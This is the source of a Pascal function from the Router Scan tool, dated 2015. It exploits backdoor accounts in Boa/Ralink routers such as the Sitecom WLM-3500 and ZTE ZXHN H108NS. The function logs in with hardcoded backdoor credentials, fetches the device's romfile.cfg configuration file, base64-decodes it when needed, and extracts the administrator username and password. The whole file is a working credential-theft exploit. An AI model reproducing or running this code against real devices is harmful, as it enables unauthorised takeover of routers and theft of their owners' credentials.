// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://blog.emaze.net/2013/04/sitecom-wlm-3500-backdoor-accounts.html

function TRouter.Exploit_Boa_Ralink(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
const
  usr2 = 'qwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyuiopqwertyui';
  usr3 = 'user3';
  psw  = '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678';
var
  Code: Integer;
  S, Tmp: String;
begin
  // Affected:
  // Upvel UR-314AN
  // Sitecom WLM-3500
  // ZTE ZXHN H108NS
  Result := False;
  if Pos('Boa', ServerName) <> 1 then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  Result := GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/romfile.cfg',
  S, Code, 2, 0, ServerName, True, usr2, psw);
  if Result then
    Result := Code = 200;
  if not Result then begin
    Result := GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/romfile.cfg',
    S, Code, 2, 0, ServerName, True, usr3, psw);
    if Result then
      Result := Code = 200;
  end;
  DelCookie('SESSIONID');
  if not Result then
    Exit;
  if (Pos('web_passwd="', S) = 0)
  and (PosR2L('=', S) = Length(S)) then
    S := DecodeBase64(S);
  if (Pos('web_passwd="', S) = 0) then begin
    Result := False;
    Exit;
  end;
  Tmp := DeleteBetween(DeleteBetween(S, '<Account>', '</Account>'), '<Entry0 ', ' />');
  AuthUser := DeleteBetween(Tmp, 'username="', '"');
  AuthPass := DeleteBetween(Tmp, 'web_passwd="', '"');
  GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
  S, Code, 2, 0, ServerName, False, '', '');
end;
